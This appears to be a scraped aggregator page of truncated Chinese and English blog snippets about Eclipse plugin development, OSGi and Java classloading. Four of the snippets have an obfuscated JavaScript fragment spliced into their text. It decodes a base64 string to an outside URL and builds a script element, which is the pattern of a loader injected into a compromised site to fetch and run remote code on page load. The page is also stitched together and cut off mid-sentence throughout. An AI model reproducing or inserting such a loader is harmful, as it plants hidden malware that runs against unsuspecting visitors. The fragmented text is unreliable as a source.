作为新手入行开发eclipse插件,到现在为止初步了解了eclipse,osgi,RCP,SWT/JFace等一些知识。在这过程中,给我最大的帮助的是这本《Contributing to eclipse Principle, Patterns, and Plug-Ins》,这本书的作者是大名鼎鼎的Erich Gamma,JUnit的开发者,在书中demo的开发就是JUnit-Plugin的开发,作者用了Test Driven Development 和Pattern Design的观点和方法。让我在学习的过程中深深为精彩的开发过...
We Have Lift-off: The Launching Framework in Eclipse
We Have Lift-off: The Launching Framework in Eclipse
http://www.eclipse.org/articles/Article-Launch-Framework/launch.html(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Eclipse 3.4 Hidden Treasures
Eclipse 3.4 "Ganymede" will be released in the upcoming days. I've been working with the RC builds for some time now and I like it. Eclipse 3.4 is a better IDE and a more robust platform than its' predecessor. In this post, I've gathered some new features which I like and may be "off the beaten path".
Rich Hovers
This is not a hidden feature, but I had to mention it. The Jav...
Lunuo plugin使用注意1
使用Lunuo Plugin时,要打印出profiling信息时,一定要注意导入的包是跟插件目录同一个,否则由于classloader的机制,会造成静态的counter是不同的对象(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Eclipse – a tale of two VMs (and many classloaders)
When starting off with Eclipse plugin development or rich client platform development, you're more than likely to run into issues like ClassNotFoundException or problems with the Java command line and properties like java.endorsed.dirs.
Most often, these problems arise because many Eclipse developers don't realise the magic that lets Eclipse do its work. Amongst these are th...
classloader
我们一般在系统路径中配置了 "."(当前目录)的classpath,所以如果你在当前目录命令行中运行java HelloWorld, 运行成功。这个类由system classloader去负责载入。 如果在HelloWorld.class中import另外一个在同目录下jar包中的类,如果不指定-classpath XX.jar的话,运行失败。说明system classloader 不会去查找即使时同目录下的jar包。(function(){var a=document.head||document.getElementsByTagName(...
Create objects from jar files!
http://www.javaworld.com/javaworld/javatips/jw-javatip70.html(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Add a jar file to Java load path at run time
Sometimes it is necessary to amend the class load path at run time. For example, dynamically adding jar files containing user-configurable JDBC data sources. The way this is done is truly monstrous -- the URL Path format was only revealed when a colleague looked into the Java library sources.
1 2 import java.net.URL; 3 import java.io.IOException; 4 import java.ne...
Understanding Extension Class Loading
Understanding Extension Class Loading
The extension framework makes use of the class-loading delegation mechanism. When the runtime environment needs to load a new class for an application, it looks for the class in the following locations, in order:
Bootstrap classes: the runtime classes in rt.jar, internationalization classes in i18n.jar, and others.
Installed exten...
JAVA类动态载入的实现
1 前言
前段时间因为项目的需要,我搞了一套类似Servlet重新载入的一个框架,实现了类的动态载入过程。本文写了一些我的学习成果以及心得供大家分享一下。
2 类载入的原理
(下面引用网上的一篇文章):
当JVM(Java虚拟机)启动时,会形成由三个类加载器组成的初始类加载器层次结构:
bootstrap classloader | extension classloader | ...